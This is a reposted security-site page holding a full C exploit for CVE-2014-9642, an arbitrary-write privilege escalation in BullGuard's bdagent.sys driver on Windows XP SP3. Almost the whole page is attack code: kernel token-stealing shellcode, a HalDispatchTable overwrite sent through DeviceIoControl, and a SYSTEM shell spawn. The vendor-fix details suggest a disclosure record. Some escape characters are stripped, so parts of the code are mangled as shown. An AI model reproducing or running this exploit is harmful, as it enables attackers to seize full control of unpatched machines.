HackDig : Dig high-quality web security articles for hacker

BullGuard 14.1.285.4 Privilege Escalation

2015-02-05 16:15

/*

Exploit Title - BullGuard Multiple Products Arbitrary Write Privilege Escalation
Date - 04th February 2015
Discovered by - Parvez Anwar (@parvezghh)
Vendor Homepage - http://www.bullguard.com/
Tested Version - 14.1.285.4
Driver Version - 1.0.0.6 - BdAgent.sys
Tested on OS - 32bit Windows XP SP3
OSVDB - http://www.osvdb.org/show/osvdb/114478
CVE ID - CVE-2014-9642
Vendor fix url - http://www.bullguard.com/about/release-notes.aspx
Fixed Version - 15.0.288.1
Fixed driver ver - 1.0.0.7



Note
----
Overwritten HAL dispatch table after exploit

kd> dps nt!HalDispatchTable l c
8054ccb8 00000003
8054ccbc 00340000
8054ccc0 00010000
8054ccc4 0a060002
8054ccc8 ee657645
8054cccc 00000001
8054ccd0 00000001
8054ccd4 867c1bf0
8054ccd8 80613f7b nt!IoSetPartitionInformation
8054ccdc 806141ef nt!IoWritePartitionTable
8054cce0 8052d157 nt!CcHasInactiveViews
8054cce4 804e42d1 nt!ObpTraceDepth+0x19

7 pointers get overwritten. Since input buffer is in our control and pointers
are static in XP I've triggered the overwrite again restoring the pointers.

*/


#include <stdio.h>
#include <windows.h>

#define BUFSIZE 4096


typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
PVOID Unknown1;
PVOID Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 11,
SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);

typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)(
DWORD ProfileSource,
PULONG Interval);

typedef void (*FUNCTPTR)();



// Windows XP SP3

#define XP_KPROCESS 0x44 // Offset to _KPROCESS from a _ETHREAD struct
#define XP_TOKEN 0xc8 // Offset to TOKEN from the _EPROCESS struct
#define XP_UPID 0x84 // Offset to UniqueProcessId FROM the _EPROCESS struct
#define XP_APLINKS 0x88 // Offset to ActiveProcessLinks _EPROCESS struct


BYTE token_steal_xp[] =
{
0x52, // push edx Save edx on the stack
0x53, // push ebx Save ebx on the stack
0x33,0xc0, // xor eax, eax eax = 0
0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD
0x8b,0x40,XP_KPROCESS, // mov eax, [eax+XP_KPROCESS] Retrieve _KPROCESS
0x8b,0xc8, // mov ecx, eax
0x8b,0x98,XP_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+XP_TOKEN] Retrieves TOKEN
0x8b,0x80,XP_APLINKS,0x00,0x00,0x00, // mov eax, [eax+XP_APLINKS] <-| Retrieve FLINK from
ActiveProcessLinks
0x81,0xe8,XP_APLINKS,0x00,0x00,0x00, // sub eax, XP_APLINKS | Retrieve _EPROCESS Pointer
from the ActiveProcessLinks
0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+XP_UPID], 4 | Compares UniqueProcessId with
4 (System Process)
0x75,0xe8, // jne ----
0x8b,0x90,XP_TOKEN,0x00,0x00,0x00, // mov edx, [eax+XP_TOKEN] Retrieves TOKEN and stores on
EDX
0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on
ECX
0x89,0x90,XP_TOKEN,0x00,0x00,0x00, // mov [eax+XP_TOKEN], edx Overwrites the TOKEN for the
current KPROCESS
0x5b, // pop ebx Restores ebx
0x5a, // pop edx Restores edx
0xc2,0x08 // ret 8 Away from the kernel
};



BYTE restore_pointers_xp[] = // kd> dps nt!HalDispatchTable
"xf2xa3x6fx80" // 8054ccbc 806fa3f2 hal!HaliQuerySystemInformation
"xcexa3x6fx80" // 8054ccc0 806fa3ce hal!HaliSetSystemInformation
"x0bx46x61x80" // 8054ccc4 8061460b nt!xHalQueryBusSlots
"x00x00x00x00" // 8054ccc8 00000000
"x4dxacx50x80" // 8054cccc 8050ac4d nt!HalExamineMBR
"x89x6fx5cx80" // 8054ccd0 805c6f89 nt!IoAssignDriveLetters
"xe5x4ax5cx80"; // 8054ccd4 805c4ae5 nt!IoReadPartitionTable



DWORD HalDispatchTableAddress()
{
_NtQuerySystemInformation NtQuerySystemInformation;
PSYSTEM_MODULE_INFORMATION pModuleInfo;
DWORD HalDispatchTable;
CHAR kFullName[256];
PVOID kBase = NULL;
LPSTR kName;
HMODULE Kernel;
FUNCTPTR Hal;
ULONG len;
NTSTATUS status;


NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"),
"NtQuerySystemInformation");

if (!NtQuerySystemInformation)
{
printf("[-] Unable to resolve NtQuerySystemInformationnn");
return -1;
}

status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);

if (!status)
{
printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08xnn", status);
return -1;
}

pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);

if(pModuleInfo == NULL)
{
printf("[-] An error occurred with GlobalAlloc for pModuleInfonn");
return -1;
}

status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);

memset(kFullName, 0x00, sizeof(kFullName));
strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName);
kBase = pModuleInfo->Module[0].Base;

printf("[i] Kernel base name %sn", kFullName);
kName = strrchr(kFullName, '\');

Kernel = LoadLibraryA(++kName);

if(Kernel == NULL)
{
printf("[-] Failed to load kernel basenn");
return -1;
}

Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable");

if(Hal == NULL)
{
printf("[-] Failed to find HalDispatchTablenn");
return -1;
}

printf("[i] HalDispatchTable address 0x%08xn", Hal);
printf("[i] Kernel handle 0x%08xn", Kernel);
printf("[i] Kernel base address 0x%08xn", kBase);

HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase);

printf("[+] Kernel address of HalDispatchTable 0x%08xn", HalDispatchTable);

if(!HalDispatchTable)
{
printf("[-] Failed to calculate HalDispatchTablenn");
return -1;
}

return HalDispatchTable;
}


int GetWindowsVersion()
{
int v = 0;
DWORD version = 0, minVersion = 0, majVersion = 0;

version = GetVersion();

minVersion = (DWORD)(HIBYTE(LOWORD(version)));
majVersion = (DWORD)(LOBYTE(LOWORD(version)));

if (minVersion == 1 && majVersion == 5) v = 1; // "Windows XP;
if (minVersion == 1 && majVersion == 6) v = 2; // "Windows 7";
if (minVersion == 2 && majVersion == 5) v = 3; // "Windows Server 2003;

return v;
}


void spawnShell()
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;


ZeroMemory(&pi, sizeof(pi));
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);

si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOWNORMAL;

if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
{
printf("n[-] CreateProcess failed (%d)nn", GetLastError());
return;
}

CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}


int main(int argc, char *argv[])
{

_NtQueryIntervalProfile NtQueryIntervalProfile;
LPVOID input[1] = {0};
LPVOID addrtoshell;
HANDLE hDevice;
DWORD dwRetBytes = 0;
DWORD HalDispatchTableTarget;
ULONG time = 0;
unsigned char devhandle[MAX_PATH];


printf("-------------------------------------------------------------------------------n");
printf(" BullGuard Multiple Products (bdagent.sys) Arbitrary Write EoP Exploit n");
printf(" Tested on Windows XP SP3 (32bit) n");
printf("-------------------------------------------------------------------------------nn");

if (GetWindowsVersion() == 1)
{
printf("[i] Running Windows XPn");
}

if (GetWindowsVersion() == 0)
{
printf("[i] Exploit not supported on this OSnn");
return -1;
}

sprintf(devhandle, "\\.\%s", "bdagent");

NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"),
"NtQueryIntervalProfile");

if (!NtQueryIntervalProfile)
{
printf("[-] Unable to resolve NtQueryIntervalProfilenn");
return -1;
}

addrtoshell = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if(addrtoshell == NULL)
{
printf("[-] VirtualAlloc allocation failure %.8xnn", GetLastError());
return -1;
}
printf("[+] VirtualAlloc allocated memory at 0x%.8xn", addrtoshell);

memset(addrtoshell, 0x90, BUFSIZE);
memcpy(addrtoshell, token_steal_xp, sizeof(token_steal_xp));
printf("[i] Size of shellcode %d bytesn", sizeof(token_steal_xp));

hDevice = CreateFile(devhandle, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);

if (hDevice == INVALID_HANDLE_VALUE)
{
printf("[-] CreateFile open %s device failed (%d)nn", devhandle, GetLastError());
return -1;
}
else
{
printf("[+] Open %s device successfuln", devhandle);
}

HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD);
printf("[+] HalDispatchTable+4 (0x%08x) will be overwrittenn", HalDispatchTableTarget);

input[0] = addrtoshell; // input buffer contents gets written to our output buffer address

printf("[+] Input buffer contents %08xn", input[0]);

printf("[~] Press any key to send Exploit . . .n");
getch();

DeviceIoControl(hDevice, 0x0022405c, input, sizeof(input), (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes,
NULL);

printf("[+] Buffer sentn");

printf("[+] Spawning SYSTEM Shelln");
NtQueryIntervalProfile(2, &time);
spawnShell();

printf("[+] Restoring Hal dispatch table pointersnn");

DeviceIoControl(hDevice, 0x0022405c, restore_pointers_xp, sizeof(restore_pointers_xp)-1,
(LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);

CloseHandle(hDevice);

return 0;
}


Source: 0200205102-BLW/eussi/moc.ytirucesxc

Read:1796 | Comments:1 | Tags:No Tag

“BullGuard 14.1.285.4 Privilege Escalation”0 Comments

Submit A Comment

Name:

Email:

Blog :

Verification Code:

Announce

Share high-quality web security related articles with you:)

Tools

Tag Cloud